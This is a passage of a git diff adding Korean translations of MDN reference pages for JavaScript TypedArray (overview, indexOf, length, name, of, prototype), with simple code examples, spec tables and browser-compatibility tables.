+ <dd>서로 다른 형식화 배열 객체에 대해 요소 크기의 숫자값을 반환합니다.</dd>
+ <dt><em>TypedArray</em>.length</dt>
+ <dd>값이 3인 길이 속성.</dd>
+ <dt>{{jsxref("TypedArray.name")}}</dt>
+ <dd>생성자 이름의 문자열 값을 반환합니다. 가령 "Int8Array".</dd>
+ <dt>{{jsxref("TypedArray.@@species", "get TypedArray[@@species]")}}</dt>
+ <dd>파생된 객체를 생성하는데 쓰이는 생성자 함수.</dd>
+ <dt>{{jsxref("TypedArray.prototype")}}</dt>
+ <dd><em>TypedArray</em> 객체에 대한 프로토타입.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from()")}}</dt>
+ <dd>배열 같은 또는 반복가능(iterable) 객체로부터 새로운 형식화 배열을 생성합니다. {{jsxref("Array.from()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.of()")}}</dt>
+ <dd>가변(variable) 인수로 새로운 형식화 배열을 생성합니다. {{jsxref("Array.of()")}}도 참조.</dd>
+</dl>
+
+<h2 id="TypedArray_프로토타입">TypedArray 프로토타입</h2>
+
+<p>모든 <em>TypedArray</em>는 {{jsxref("TypedArray.prototype")}}을 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype','속성')}}</p>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype','메서드')}}</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Typed Array')}}</td>
+ <td>{{Spec2('Typed Array')}}</td>
+ <td>형식화 배열 뷰 유형이 있는 <code>TypedArray</code> 및 <code>ArrayBufferView</code> 인터페이스로 정의됨. ECMAScript 6로 대체됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의. 인덱스 있고 유명 속성에 대한 행동이 지정됨. <code>new</code>가 필요함이 지정됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(7.0)}}</td>
+ <td>{{CompatGeckoDesktop("2")}}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>5.1</td>
+ </tr>
+ <tr>
+ <td>Indexed properties not consulting prototype</td>
+ <td>{{CompatVersionUnknown}} [1]</td>
+ <td>{{CompatGeckoDesktop("25")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Named properties</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("30")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>new</code> is required</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("44")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("2") }}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>4.2</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Indexed properties not consulting prototype</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}} [1]</td>
+ <td>{{ CompatGeckoMobile("25") }}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}} [1]</td>
+ </tr>
+ <tr>
+ <td>Named properties</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("30") }}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>new</code> is required</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{ CompatGeckoMobile("44") }}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>-1</code>과 비슷한 값은 인덱스 있는 속성으로 여겨지지 않기에 그 프로토타입 속성값을 반환합니다.</p>
+
+<h2 id="호환성_주의사항">호환성 주의사항</h2>
+
+<p>ECMAScript 2015 (ES6)를 시작으로, <code>TypedArray</code> 생성자는 {{jsxref("Operators/new", "new")}} 연산자로 생성되어야 합니다. <code>new</code> 없는 함수로서 <code>TypedArray</code> 생성자를 호출하면, 이제부터 {{jsxref("TypeError")}}가 발생합니다.</p>
+
+<pre class="brush: js example-bad">var dv = Int8Array([1, 2, 3]);
+// TypeError: new 없은 내장 Int8Array 생성자
+// 호출은 금지됩니다</pre>
+
+<pre class="brush: js example-good">var dv = new Int8Array([1, 2, 3]);</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/indexof/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/indexof/index.html
new file mode 100644
index 0000000000..1ccd923d93
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/indexof/index.html
@@ -0,0 +1,80 @@
+---
+title: TypedArray.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>indexOf()</code></strong> 메소드는 형식화 배열(typed array)에서 주어진 값과 일치하는 첫 번째 인덱스를 반환한다. 일치하는 값이 없으면 -1을 반환한다. 이 메소드는 {{jsxref("Array.prototype.indexOf()")}} 와 동일한 알고리즘을 가지고 있다<em>.</em> <em>TypedArray</em>는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_%EA%B0%9D%EC%B2%B4">TypedArray 객체 유형</a> 중 하나이다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-indexof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>typedarray</var>.<var>i<code>ndexOf(<var>searchElement</var>[, <var>fromIndex</var> = 0])</code></var></code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>배열에서 검색할 요소.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>문자열에서 찾기 시작하는 위치를 나타내는 인덱스 값. 만약 인덱스 번호가 배열의 길이와 동일하거나 더 크다면, 해당 요소를 찾을 수 없기 때문에 결과값으로 -1이 반환된다. 만약 인덱스 번호가 음수라면, 배열의 끝에서부터 하나씩 상쇄하며 계산한다. (예.  fromIndex로 -1을 준 경우 가장 마지막 배열 요소의 값부터 검색을 시작. -2를 준 경우, 가장 마지막 배열 요소에서 하나 앞 요소부터 검색을 시작). 주의: 주어진 인덱스가 음수인 경우에도 배열은 여전히 앞에서부터 뒤로(왼쪽에서 오른쪽 순서로) 검색 된다. 만약 결과값으로 나온 인덱스가 0보다 작다면, 배열 전체가 찾아진 것이다. 디폴트 값 : 0 (전체 배열이 검색된다).</dd>
+</dl>
+
+<h3 id="반환_결과">반환 결과</h3>
+
+<p>해당 배열에서 찾으려는 요소가 위치한 첫 번째 인덱스 값. 만약 찾으려는 요소가 없을 경우에는 -1을 반환. </p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>indexOf</code> 메소드는 배열의 요소를 <code>searchElement</code> 와 비교할 때, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">strict equality</a>(===, <em>트리플 equals</em>) 를 사용하여 자료형의 일치 여부까지 비교한다. </p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([2, 5, 9]);
+uint8.indexOf(2); // 0
+uint8.indexOf(7); // -1
+uint8.indexOf(9, 2); // 2
+uint8.indexOf(2, -1); // -1
+uint8.indexOf(2, -3); // 0
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.TypedArray.indexOf")}}</p>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/length/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/length/index.html
new file mode 100644
index 0000000000..0d5091aeb6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/length/index.html
@@ -0,0 +1,68 @@
+---
+title: TypedArray.prototype.length
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/length
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/length
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>length</code></strong> 접근자(accessor) 속성(property)은 형식화 배열의 (요소) 길이를 나타냅니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>length</code> 속성은 set 접근자 함수가 <code>undefined</code>인 접근자 속성입니다, 이 속성을 읽을 수만 있음을 뜻하는. 값은 <em>TypedArray</em>가 만들어질 때 수립되어 변경될 수 없습니다. <em>TypedArray</em>가 <code>byteOffset</code> 또는 <code>length</code>를 지정하지 않은 경우, 참조되는 {{jsxref("ArrayBuffer")}}의 길이가 반환됩니다. <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="length_속성_사용"><code>length</code> 속성 사용</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(buffer);
+uint8.length; // 8 (버퍼의 길이와 일치)
+
+var uint8 = new Uint8Array(buffer, 1, 5);
+uint8.length; // 5 (Uint8Array를 만들 때 지정된 대로)
+
+var uint8 = new Uint8Array(buffer, 2);
+uint8.length; // 6 (만든 Uint8Array의 오프셋으로 인해)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.length")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/name/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/name/index.html
new file mode 100644
index 0000000000..83b7f47ab1
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/name/index.html
@@ -0,0 +1,70 @@
+---
+title: TypedArray.name
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/name
+tags:
+ - JavaScript
+ - Property
+ - Reference
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/name
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong><em>TypedArray</em>.name</strong></code> 속성은 형식화 배열 생성자 이름의 문자열 값을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-name.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>TypedArray 객체는 요소 당 바이트 수 및 바이트가 해석되는 방법으로 서로 다릅니다. <code>name</code> 속성은 어떤 데이터 형이 배열을 구성하는 지를 기술합니다. 첫 번째 부분은 "정수"용 <code>Int</code> 또는 "부호 없는 정수"용 <code>Uint</code>일 수 있습니다, "부동 소수점"용 <code>Float</code>도 쓰입니다 . 두 번째 부분은 배열의 비트 크기를 기술하는 숫자입니다. 끝으로, 객체 형은 <code>Array</code>입니다, 특수한 경우로 <code>ClampedArray</code>가 있는. 자세한 사항은 {{jsxref("Uint8ClampedArray")}}를 참조해 주세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">Int8Array.name; // "Int8Array"
+Uint8Array.name; // "Uint8Array"
+Uint8ClampedArray.name; // "Uint8ClampedArray"
+Int16Array.name; // "Int16Array"
+Uint16Array.name; // "Uint16Array"
+Int32Array.name; // "Int32Array"
+Uint32Array.name; // "Uint32Array"
+Float32Array.name; // "Float32Array"
+Float64Array.name; // "Float64Array"</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.name")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/of/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/of/index.html
new file mode 100644
index 0000000000..854c53cedf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/of/index.html
@@ -0,0 +1,92 @@
+---
+title: TypedArray.of()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/of
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/of
+---
+<div>{{JSRef}}</div>
+
+<div><code><strong><em>TypedArray</em>.of()</strong></code>는 가변적으로 인수를 전달 할수 있는 새로운 형식화 배열(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">typed array</a>)를 만들어내는 메소드입니다.</div>
+
+<p>이 메소드는 {{jsxref("Array.of()")}}와 거의 같습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><em>TypedArray</em>.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])
+</code>
+where <em>TypedArray</em> is one of:
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>형식화 된 배열을 만들 요소입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>생성된 {{jsxref("TypedArray")}} 인스턴스</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Array.of()")}}와 <code><em>TypedArray</em>.of()</code> 사이의 약간의 차이점은 다음과 같습니다. </p>
+
+<ul>
+ <li><code>TypedArray.of</code>에 전달된 값이 생성자가 아닌 경우 <code>TypedArray.of</code>는 {{jsxref ( "TypeError")}}를 발생시킵니다. <code>Array.of</code>는 기본적으로 새로운 {{jsxref ( "Array")}}를 생성합니다. </li>
+ <li><code><em>TypedArray</em>.of</code> uses <code>[[Put]]</code> where <code>Array.of</code> uses <code>[[DefineProperty]]</code>. Hence, when working with {{jsxref("Proxy")}} objects, it calls {{jsxref("Global_Objects/Proxy/handler/set", "handler.set")}} to create new elements rather than {{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty")}}.</li>
+ <li><code>TypedArray.of</code>는 <code>Array.of</code>가 <code>[[DefineProperty]]</code>를 사용하는 것처럼 <code>[[Put]]</code>을 사용합니다. 따라서 {{jsxref("Proxy")}} 객체로 작업 할 때 새로운 요소를 생성하기 위해 {{jsxref("Global_Objects/Proxy/handler/set", "handler.set")}}대신 {{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty")}}를 호출합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Uint8Array.of(1); // Uint8Array [ 1 ]
+Int8Array.of('1', '2', '3'); // Int8Array [ 1, 2, 3 ]
+Float32Array.of(1, 2, 3); // Float32Array [ 1, 2, 3 ]
+Int16Array.of(undefined); // IntArray [ 0 ]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-%typedarray%.of', '%TypedArray%.of')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-%typedarray%.of', '%TypedArray%.of')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.TypedArray.of")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+ <li>{{jsxref("Array.of()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/prototype/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/prototype/index.html
new file mode 100644
index 0000000000..9a1b624b3b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/prototype/index.html
@@ -0,0 +1,175 @@
+---
+title: TypedArray.prototype
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype
+tags:
+ - JavaScript
+ - Property
+ - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>TypedArray</strong></code><strong><code>.prototype</code></strong> 속성(property)은 {{jsxref("TypedArray")}} 생성자에 대한 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("TypedArray")}} 인스턴스는 {{jsxref("TypedArray.prototype")}}을 상속합니다. 모든 <em>TypedArray</em> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있으며, <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<p>상속에 관한 자세한 정보를 위해 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#설명"><em>TypedArray</em></a>에 대한 설명도 참조하세요.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>TypedArray.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 만든 함수를 반환합니다. 이는 기본으로 해당 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 함수 중 하나입니다.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>형식화 배열에 의해 참조되는 {{jsxref("ArrayBuffer")}}를 반환합니다. 생성 시에 고정되기에 <strong>읽기 전용</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>{{jsxref("ArrayBuffer")}}의 시작점부터 형식화 배열의 길이(단위 바이트)를 반환합니다. 생성 시에 고정되기에 <strong>읽기 전용</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>{{jsxref("ArrayBuffer")}}의 시작점부터 형식화 배열의 오프셋(단위 바이트)을 반환합니다. 생성 시에 고정되기에 <strong>읽기 전용</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>형식화 배열 내 보유한 요소의 수를 반환합니다. 생성 시에 고정되기에 <strong>읽기 전용</strong>.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.prototype.copyWithin()")}}</dt>
+ <dd>배열 내부 일련의 배열 요소를 복사합니다. {{jsxref("Array.prototype.copyWithin()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.entries()")}}</dt>
+ <dd>배열 내 각 인덱스에 대한 키/값 쌍을 포함하는 새로운 <code>Array Iterator</code> 객체를 반환합니다. {{jsxref("Array.prototype.entries()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.every()")}}</dt>
+ <dd>배열의 모든 요소가 함수로 제공되는 테스트를 통과하는지를 테스트합니다. {{jsxref("Array.prototype.every()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.fill()")}}</dt>
+ <dd>시작 인덱스부터 끝 인덱스까지 배열의 모든 요소를 고정값으로 채웁니다. {{jsxref("Array.prototype.fill()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.filter()")}}</dt>
+ <dd>제공되는 필터링 함수가 true를 반환하는 이 배열의 모든 요소를 갖는 새로운 배열을 생성합니다. {{jsxref("Array.prototype.filter()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.find()")}}</dt>
+ <dd>배열 내 요소가 제공되는 테스트 함수를 만족하는 경우 배열 내 찾은 값 또는 못 찾은 경우 <code>undefined</code>를 반환합니다. {{jsxref("Array.prototype.find()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.findIndex()")}}</dt>
+ <dd>배열 내 요소가 제공되는 테스트 함수를 만족하는 경우 배열 내 찾은 인덱스 또는 못 찾은 경우 -1을 반환합니다. {{jsxref("Array.prototype.findIndex()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.forEach()")}}</dt>
+ <dd>배열 내 각 요소에 대해 함수를 호출합니다. {{jsxref("Array.prototype.forEach()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>형식화 배열이 특정 요소를 포함하는지를 판단해, 적절히 <code>true</code> 또는 <code>false</code>를 반환합니다. {{jsxref("Array.prototype.includes()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.indexOf()")}}</dt>
+ <dd>지정된 값과 같은 배열 내부 요소의 첫(최소) 인덱스 또는 못 찾은 경우 -1을 반환합니다. {{jsxref("Array.prototype.indexOf()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.join()")}}</dt>
+ <dd>배열의 모든 요소를 문자열로 합칩니다. {{jsxref("Array.prototype.join()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.keys()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 키를 포함하는 새로운 <code>Array Iterator</code>를 반환합니다. {{jsxref("Array.prototype.keys()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</dt>
+ <dd>지정된 값과 같은 배열 내부 요소의 끝(최대) 인덱스 또는 못 찾은 경우 -1을 반환합니다. {{jsxref("Array.prototype.lastIndexOf()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.map()")}}</dt>
+ <dd>이 배열의 모든 요소에 제공된 함수를 호출한 결과를 갖는 새로운 배열을 생성합니다. {{jsxref("Array.prototype.map()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>{{jsxref("TypedArray.prototype.copyWithin()")}}의 이전 비표준 버전.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduce()")}}</dt>
+ <dd>누산기(accumulator) 및 배열의 각 값(좌에서 우로)에 대해 한 값으로 줄도록 함수를 적용합니다. {{jsxref("Array.prototype.reduce()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduceRight()")}}</dt>
+ <dd>누산기 및 배열의 각 값(우에서 좌로)에 대해 한 값으로 줄도록 함수를 적용합니다. {{jsxref("Array.prototype.reduceRight()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reverse()")}}</dt>
+ <dd>배열 요소의 순서를 뒤집습니다 — 처음이 마지막이 되고 마지막이 처음이 됩니다. {{jsxref("Array.prototype.reverse()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.set()")}}</dt>
+ <dd>형식화 배열에 여러 값을 저장합니다, 지정된 배열에서 입력 값을 읽어.</dd>
+ <dt>{{jsxref("TypedArray.prototype.slice()")}}</dt>
+ <dd>배열의 한 부분을 추출하여 새로운 배열을 반환합니다. {{jsxref("Array.prototype.slice()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.some()")}}</dt>
+ <dd>이 배열의 적어도 한 요소가 제공된 테스트 함수를 만족하는 경우 true를 반환합니다. {{jsxref("Array.prototype.some()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.sort()")}}</dt>
+ <dd>배열의 요소를 적소에 정렬해 그 배열을 반환합니다. {{jsxref("Array.prototype.sort()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.subarray()")}}</dt>
+ <dd>주어진 시작 및 끝 요소 인덱스로부터 새로운 TypedArray를 반환합니다.</dd>
+ <dt>{{jsxref("TypedArray.prototype.values()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 값을 포함하는 새로운 <code>Array Iterator</code> 객체를 반환합니다. {{jsxref("Array.prototype.values()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toLocaleString()")}}</dt>
+ <dd>배열 및 그 요소를 나타내는 지역화된 문자열을 반환합니다. {{jsxref("Array.prototype.toLocaleString()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toString()")}}</dt>
+ <dd>배열 및 그 요소를 나타내는 문자열을 반환합니다. {{jsxref("Array.prototype.toString()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 값을 포함하는 새로운 <code>Array Iterator</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
